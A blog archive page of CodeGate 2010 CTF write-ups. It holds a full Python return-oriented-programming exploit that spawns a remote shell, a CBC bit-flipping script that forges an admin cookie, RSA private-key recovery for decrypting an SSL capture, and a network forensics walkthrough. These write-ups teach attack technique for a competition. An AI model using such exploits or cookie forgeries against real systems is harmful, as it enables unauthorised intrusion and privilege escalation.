Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5

April 18, 2010 by longld · 4 Comments 

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog:

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code

#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = ''
host = ''
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
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CodeGate 2010 – Challenge 8: Bit-flipping attack on CBC mode

March 23, 2010 by vnsec · Leave a Comment 

Writeup for CodeGate 2010 Challenge 8 by namnx

This is a web-based cryptography challenge. In this challenge, we were provided a URL and a hint ”the first part is just an IV“.

The URL is:


Go to the challenge URL. It will ask you the username for the first time. After we enter a value, for example ‘namnx‘, it will return only a single message “Hello, namnx!“. Examine the HTTP payload, we will see the cookie returned:


The cookie includes 2 parts delimited by character ‘|’. After base64 decode the first part of the cookie, we have a 16-byte value. According to the hint, this is the IV of the cipher. And because it has 16-byte length, I guess that this challenge used AES cipher, and the block size is 16 bytes. Moreover, the cipher has an IV, so it can’t be in ECB mode. I guessed it in CBC mode. The last part is the base64 of a 32-byte value. This is a cipher text. We will exploit this value later.

Browse the URL again, we will receive another message: “Welcome back, namnx! Your role is: user. You need admin role.” Take a look into this message, we can guess the operation of this app: it will receive the cookie from the client, decrypt it to get the user and role information and return the message to the client based on the user and role information. So, in order to get further information, we must have the admin role. This is our goal in this challenge.


I wrote some Python to work on this challenge easier:

    import urllib, urllib2
    import base64, re

    url = ''
    user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'

    def get_cookie(user):
        headers = { 'User-Agent' : user_agent}
        values = {'username' : user, 'submit' : "Submit"}
        data = urllib.urlencode(values)
        request = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(request)
        cookie ='Set-Cookie')
        groups = re.match("web4_auth=(.+)\|(.+);.+", cookie).groups()
        iv = base64.b64decode(groups[0])
        cipher = base64.b64decode(groups[1])
        return iv, cipher

    def get_message(iv, cipher):
        cookie = base64.b64encode(iv) + '|' + base64.b64encode(cipher)
        cookie = urllib.quote(cookie)
        cookie = 'web4_auth=' + cookie
        headers = { 'User-Agent' : user_agent, 'Cookie': cookie}
        request = urllib2.Request(url, None, headers)
        response = urllib2.urlopen(request)
        data =
        print repr(data)
        groups = re.match(".+, (.*)! .+: (.*)\. You.+", data).groups()
        return groups[0], groups[1]

The first function, get_cookie will submit a value as a username in the first visit to the page, get the returned cookie, and then parse it to get the IV and cipher. The second function, get_message, do the task like when you visit the page in later times, it parses the response message to get the returned username and role.

    >>> iv, cipher = get_cookie('123456789012')
    >>> len(cipher)
    >>> iv, cipher = get_cookie('1234567890123')
    >>> len(cipher)

When you input the user with a 12-byte value, the returned cipher will have 32 bytes (2 blocks). And when you enter a 13-byte value, the cipher will have 48 bytes (3 blocks). This means that beside the username value, the plain text of the cipher will be added more 20 bytes.

Try altering the cipher text to see how it is decrypted:

    >>> iv, cipher = get_cookie('1234567890')
    >>> cipher1 = cipher[:-1] + '\00'
    >>> username, role = get_message(iv, cipher1)
    'Welcome back, 1234567\xa2\xc2\xca\xfei\xdb\xee_c\xa7\xd7\x0c\xa9j\xe0\xbb! Your role is: . You need admin role.'

As you can see, the last block of the decrypted role is the first block of the plain text. So, the format of the plain text may be: ‘username=’ + username + [11 bytes].

To here, we can guess that the format of the plain text can be something like:

‘username=’ + username + [delimiter] + [param] + ‘=’ + [value]

The last 11 bytes of the plain text can be determined by the code below:

    >>> iv, cipher = get_cookie('\x00')
    >>> username, role = get_message(iv, cipher)
    'Welcome back, \x00##role=user\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! Your role is: . You need admin role.'

You can see the last 11 bytes of the plain text in the returned message. So, at this time, we can conclude format of the plain text is:

‘username=’ + username + ‘##role=’ + role

Now, the last thing we have to do is altering the role value to ‘admin’. Because we’ve already known the format of the plain text, we can choose to input the username close to the target plain text and try to alter the cipher text in the way that the decrypted value is what we want.

Let remind the operation of CBC mode in cryptographic ciphers. In encryption process:

y[1] = C(IV xor x[1])
y[n] = C(y[n-1] xor x[n])

and in the decryption:

x[1] = D(y[1]) xor IV
x[n] = D(y[n]) xor y[n-1]

Notice that if we flip one bit in the (n-1)th block of cipher text, the respective bit in the n-th block of plain text will be also flipped. So, we will you this fact to exploit the challenge:

    >>> iv, cipher = get_cookie('012345678901234567890123#role=admin')
    >>> s = cipher[:16] + chr(ord(cipher[16]) ^ 0x10) + cipher[17:]
    >>> username, role = get_message(iv, s)
    'Welcome back, 0123456L\xaa\x17m\xe9\x91\xdc\xe2`#z)\xd8m\xd8\x18! Your role is: admin. You need admin role. Congratulations! Here is your flag: the_magic_words_are_squeamish_ossifrage_^-^!!!!!'

Successful! Such an interesting challenge, isn’t it?


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CodeGate 2010 – Challenge 7: Weak SSL Cracking

March 23, 2010 by vnsec · Leave a Comment 

Writeup for CodeGate 2010 – Challenge 7 by namnx

Last weekend, I had a great hacking time with team CLGT in the CodeGate 2010 CTF Preliminary Round. It lasted 36 consecutive hours from 7:00AM March 13 to 7:00PM March 14. There were a lot of teams around the world participating in this hacking contest. And excellently, CLGT proved it as one of the best teams when got the 2nd place in this round. See final ranking.
This entry is my writeup for challenge 7. I think this is an interesting challenge from which you can learn more deeply about SSL protocol and public key cryptography. In this challenge, we were provided a tcpdump file of a SSL traffic and a hint “does the modulus look familiar?“. So our goal is to analyze and decrypt this captured traffic to get the flag.

Firstly, I used Wireshark to load this file and start to analyze it:

There are 26 packets captured. Packet #4 is a SSL Client Hello packet, but after it, packet #8 and packet #9 have FIN flag. This mean that the session was termininated. So we just ignore them.
Packet #14 is another SSL Client Hello packet. This is where the real session began. Take a look into it:
There is nothing special. It is just a normal SSL Client Hello packet. It happens when a client want to connect to a SSL service. We continue look into the packet #16, the SSL Server Hello packet:
This is the response for SSL Client Hello packet. We can see some useful information here:
- The cipher suite will be used: RSA_WITH_AES_256_CBC_SHA
- The X509 certificate of the server
In the SSL protocol, the server send its certificate to the client in the handshaking process. This certificate will be used for supporting the key exchange afterward. The certificate contains the server’s public key and other data. By extracting the public key and recovering the private key from it, we can decrypt the SSL traffic.
I wrote some Python code to exploit this challange:
    from scapy.all import *
    from M2Crypto import X509

    def decode_serverhello(packet):
    payload = packet.load
    cert = payload[94:1141]
    cert = X509.load_cert_string(cert, 0)
    return cert

    def get_pubkey(cert):
    pubkey = cert.get_pubkey().get_rsa()
    n = long(pubkey.n.encode('hex')[8:], 16)
    e = long(pubkey.e.encode('hex')[9:], 16)
    return n, e

    packets = rdpcap('ssl.pcap')
    cert = decode_serverhello(packets[15])
    n,e = get_pubkey(cert)

Because this traffic used RSA as public key algorithm, the public key contains 2 components: n and e. We get their values from the above code:

    n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
    e = 65537
In RSA, n is the product of 2 big prime numbers p and q. So, in order to recover the RSA private key from the public key, we must factorize n into p and q. This is the key point of the challenge. In this situation, n is a very big number (232 decimal digits). How can we do that? In the beginning, I didn’t know how to solve it. But I remembered the hint “does the modulus look familiar?“. So I tried googling it :-D (actually just its last digits). And… oh my god, I was lucky! It is RSA-768. It’s factorized just few months ago.
    RSA-768 = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
    × 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917

So now, we have all components of the RSA keys.

    n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
    e = 65537
    p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
    q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
    d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
The last thing we have to do is generating the RSA private key in PEM format from these components. But how can we do that? As far as I know, popular cryptographic libraries like OpenSSL do not support this. So in this case, I wrote my own tool to do this task. It is based on ASN1. It is a little long to post here. But if you want to write your own one, I recommend pyasn1.

After having the private key, just import it to Wireshark to decrypt the SSL traffic:

- RSA:

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CodeGate 2010 – Challenge 6 writeup

March 20, 2010 by longld · 3 Comments 


Challenge 6 is a forensics problem with a mountain of data, a packet capture file and a FAT32 filesystem image. In order to find the secret you have to watch for the “key” exchanged via MSN conversation in a packet capture file, then use it to find the secret file name. With forensics problems, luck is more important than techniques and you should only do it if you don’t have anything to play during the game.


Challenge information:


Substitute for those who are not in Korea :

You should convert the flag into lower case letters and try to auth with it.

Hint: The packet of messenger is important. You don’t need to care the ftp stuff.

Hint2: Please put your flag without any extension to the auth page.

File info

CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7: gzip compressed data, from Unix, last modified: Fri Mar 12 17:20:19 2010

$ zcat CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7 > challenge6
$ file challenge6
challenge6: POSIX tar archive (GNU)

$ tar xvf challenge6

$ file 352FCD8BDEC8244CDED00CA866CA24B9 B400CBEA39EA52126E2478E9A951CDE8
352FCD8BDEC8244CDED00CA866CA24B9: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
B400CBEA39EA52126E2478E9A951CDE8: x86 boot sector, code offset 0x58, OEM-ID "MSDOS5.0",
sectors/cluster 8, reserved sectors 4334, Media descriptor 0xf8, heads 255, sectors 1982464 (volumes > 32 MB) ,
FAT (32 bit), sectors/FAT 1929, reserved3 0x800000, serial number 0x7886931a, unlabeled

We have 2 files: a tcpdump packet capture and a FAT32 filesystem image. From the hints (yes, without it we don’t know what to search for), we focus our search to:

  • Final secret key must be a file and it may rely on FAT32 image
  • Keyword to find out that secret file must be exchanged via MSN conversation(s) in tcpdump file

MSN conversation

Using chaosreader (you can use other tools to have the same result) to analyse pcap file, we will have a list of sessions like below:

Chaosreader Report - msnp

The session number 263 & 264 is MSN chat. Following the conversion by looking in to raw file we find some interesting things:> i;d like to get a file that i asked you before……> now availabel?> ah> ok wait a min :)

[... MSN P2P file transfer session ...]> thanks….> this is between you and me :-/

It looks like they exchange some “secret” via MSN P2P file transfer. Looking at file transfer session (refer to References for MSN protocol) :

To: <;{95178158-37b6-45ce-b332-2042a4d27563}>
From: <;{281f2818-580b-46f0-909f-c009de526642}>
Via: MSNSLP/1.0/TLP ;branch={51D93360-BFBD-40CB-AD0A-2D7FB5C28031}
CSeq: 1
Call-ID: {71021C00-FE1C-4E91-B415-D2145D7C1C24}
Max-Forwards: 0
Content-Type: application/x-msnmsgr-transrespbody
Content-Length: 482

Listening: true
NeedConnectingEndpointInfo: false
Conn-Type: Direct-Connect
TCP-Conn-Type: Direct-Connect
IPv6-global: 2001:0:cf2e:3096:2036:1131:5c67:c1c5
UPnPNat: false
Capabilities-Flags: 1
troP-lanretnI4vPI: 2133

IPv6-Addrs: 2001:0:cf2e:3096:2036:1131:5c67:c1c5 2002:a398:3e3a::a398:3e3a
IPv6-Port: 3313
Nat-Trav-Msg-Type: WLX-Nat-Trav-Msg-Direct-Connect-Resp
Bridge: TCPv1
Hashed-Nonce: {E3759BB3-EED9-04F3-3B1A-56044619D59F}

What the hell is this: srddA-lanretnI4vPI: It’s reversed! So, file transfer session has this information: IPv4Internal-Addrs:, IPv4Internal-Port: 3312. It’s confirmed by looking at chaosreader output:

Chaosreader Report- 3312

Let dump that session and use tcpxtract to extract files from the pcap:

$ tcpdump -nn -r 352FCD8BDEC8244CDED00CA866CA24B9 'port 3312' -w 3312.pcap
$ tcpxtract -f 3312.pcap
 Found file of type "pdf" in session [ ->], exporting to 00000001.pdf
 Found file of type "jpg" in session [ ->], exporting to 00000008.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000009.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000010.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000011.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000012.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000013.jpg
 Found file of type "jpg" in session [ ->], exporting to 00000014.jpg

During the game, we opened PDF file but it’s just blank then we focused on JPG files, but no luck. Re-examined the blank PDF, by “Select All” we found there’s hidden text at the bottom of  the page: CC105EE2A139A631175571452968D637. Looks like a “key” – checksum of the secret file.

Searching on FA32 filesystem image for that checksum:

$ sudo mount -o loop,ro B400CBEA39EA52126E2478E9A951CDE8 /mnt/loop

$ find /mnt/loop -type f -exec md5sum {} \; >> md5sum.txt

$ grep -i CC105EE2A139A631175571452968D637 md5sum.txt
cc105ee2a139a631175571452968d637  /mnt/loop/hqksksk/iologmsg.dat

Matched! Finally, the secret key is: iologmsg. We’re just lucky!

Now, look back to the hint “You should convert the flag into lower case letters and try to auth with it.”, it sounds irrelevant or the md5sum was the correct key at first?


Keywords: network forensics, msn protocol, codegate 2010

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No CodeGate 2010 CTF final for CLGT

March 20, 2010 by vnsec · 6 Comments 

Due to the budget problem, we will not join the final round of CodeGate 2010 CTF in Seoul next month.

Good luck to the other teams and enjoy the game.

-CLGT Team

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